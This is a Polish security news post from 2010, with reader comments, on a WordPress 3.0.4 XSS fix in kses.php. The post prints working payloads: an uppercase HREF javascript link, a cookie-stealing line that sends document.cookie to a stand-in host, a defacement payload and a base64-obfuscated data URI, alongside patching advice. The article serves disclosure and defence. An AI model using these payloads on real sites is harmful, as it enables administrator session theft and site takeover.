31/12/2010
WordPress właśnie wypuścił “krytyczną” poprawkę bezpieczeństwa na błąd typu XSS, który może zostać wykorzystany przez atakującego do wykradzenia ciastka administratora i przejęcia kontroli nad blogiem. Zalecamy szybką aktualizację, poniżej szczegóły błędu.
Kradzież ciastka administratora
Błąd znajduje się w pliku kses.php, a wynika z niedokładnego filtrowania atrybutu “href” w linkach będących częścią komentarzy pochodzących od użytkowników. Jeśli atrybut jest zapisany dużymi literami, można przemycić w nim kod JavaScript:
<a HREF="javascript:alert(0)">kliknij tutaj</a>
co oczywiście umożliwia atakującemu przeprowadzenie ataku polegającego na wykradzeniu ciastka administratora…
Oto przykładowy kod kradnący ciastko:
<a HREF="javascript:open('http://foo.bar/?zoot=' + document.cookie)">kliknij tu</a>
Atakujący może również przeprowadzić “deface” strony:
<a HREF="javascript:eval(document.getElementById('site-title').innerHTML+=' IMPORTANT WORDPRESS UPDATE, go to badsite.com to download it!');">nice site</a>
co będzie wyglądać tak:
Warunek dla powyższych “exploitów”: administrator musi kliknąć na podstawiony link. Dlatego też, aby zwiększyć skuteczność ataku warto ukryć jego zawartość (bo pewnie wielu administratorów zorientuje się, że coś jest nie tak, kiedy w linku zobaczą javascript:foobar):
<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgvbmllYm V6cGllY3puaWsvKTwvc2NyaXB0Pg==">kliknij tu</a>
Ochrona przed XSS-em
WordPress wypuścił już nową wersję 3.0.4, wystarczy się zaktualizować. Przy okazji, warto dodatkowo założyć HTTP Authentication na katalog wp-admin — dzięki temu, nawet jeśli komuś kiedyś uda się wykraść ciastko administratora (np. za pomocą takiego jak powyżej błędu), będzie miał kolejne zabezpieczenie do pokonania, zanim zacznie psocić wam na blogu ;)
Dzięki za informacje, akurat nie logowałem się do panelu i przeoczył bym poprawkę.
Update jest od wczoraj, a dziś już była wersja 3.0.4_pl, zaktualizowano.
Ostatnio, jak Was odwiedzałem, to wp-admin wchodziło bez problemu :D
Teraz jest prośba o autoryzację, ale jak zamiast indeksu wp-admin otworzy się wp-login.php, to wystarczy zignorować okno autoryzacji HTTP i wchodzi normalnie panel logowania WordPressa, tylko bez obrazków.
‘Wykraść ciastko administratora’ i przez Was dostałem ochoty na jakieś ciastko, np. administratora piekarni ;p
Akurat wczoraj pisałem o częściowym rozwiązaniu tego typu problemów (odnośnie wykradania ciasteczek sesyjnych w opisany w przykładzie sposób) :D http://blog.kamilbrenk.pl/bezpieczenstwo-cookies-z-httponly/
Aktualizacja zrobiona :-)
co z zabezpieczeniami bos? http://www.goldbank.pl/rynek/3522-saby-poziom-zabezpiecze-bo.html
krytyczny xss ! :D hahahahahaha
Niebezpieczniku, pisać o XSS’ach wam nie przystoi!
@Putty: why not?
Generalnie duży błąd, dziwię się, że przez tak długi czas nikt tego nie zauważył. Cóż, moje wyobrażenie programistów dużego projektu (a’la wordpress) runęło w gruzach. To nie wygląda tak, że gość siedzi 24/7 i grzebie w kodzie szukając dziur i dokonując poprawek? Na The Social Network tak właśnie było! :P
huhuhu ;>
@Putty: to jest DYSKRYMINACJA! Dyskryminujesz XSS’y! Jesteś uprzedzony i nie respektujesz ich swobód obywatelskich.
“Hańba, Hańba, Hańba, Hańba!”
Ech, za dużo cookies się najadłem… Zdrowia w Nowym Roku życzę :)
Ja bloguję od 11 grudnia przy pomocy Jekylla i nie męczę serwera PHP i MySQL.
Dostałem 504. Nginx? Awesome.
Ciasteczka http-only są już dostępne od wersji php 5.2.0 czyli od 4 lat, dostęp do tych ciastek jest zablokowana z poziomu javascript. Fajnie wiedzieć że WordPress tworzy banda ignorantów.
@Cezary, tyle tylko, że WP jest kompatybilny z php 4 i wynika to z konieczności zapewnienia wsparcia jak największej grupie odbiorców:
http://wordpress.org/about/requirements/
ps. nie mów, że twórcy WP są ignorantami, bo nie sprawdziłeś jak sprawa wygląda i sam wychodzisz na ignoranta.
Trapi mnie wpis z blipa o “kolejce” sprzed kilkunastu godzin…
Mógłby ktoś rozwinąć temat?:P
@Koziołek, z ciebie to chyba Matołek, odsyłam do manuala php, obadaj funkcję version_compare() i stałą PHP_VERSION. Można pisać aplikacje, które będą działać na starym php4 a zarazem będą potrafiły wykorzystać nowe funkcje z php5.
if (version_compare(PHP_VERSION, ‘5.2.0’, ‘>=’)) {
utworz_ciastko_http_only();
} else {
utworz_zwykle_ciastko();
}
3.04 też ma błędy proszę poszukać w google ; p
@Obserwator Sieci: http://wpdevel.wordpress.com/2010/12/31/the-published-exploit-for-wordpress-3-0-4-isnt-accurate/
item: Ciastko Administratora, +10 do kontroli bloga ;p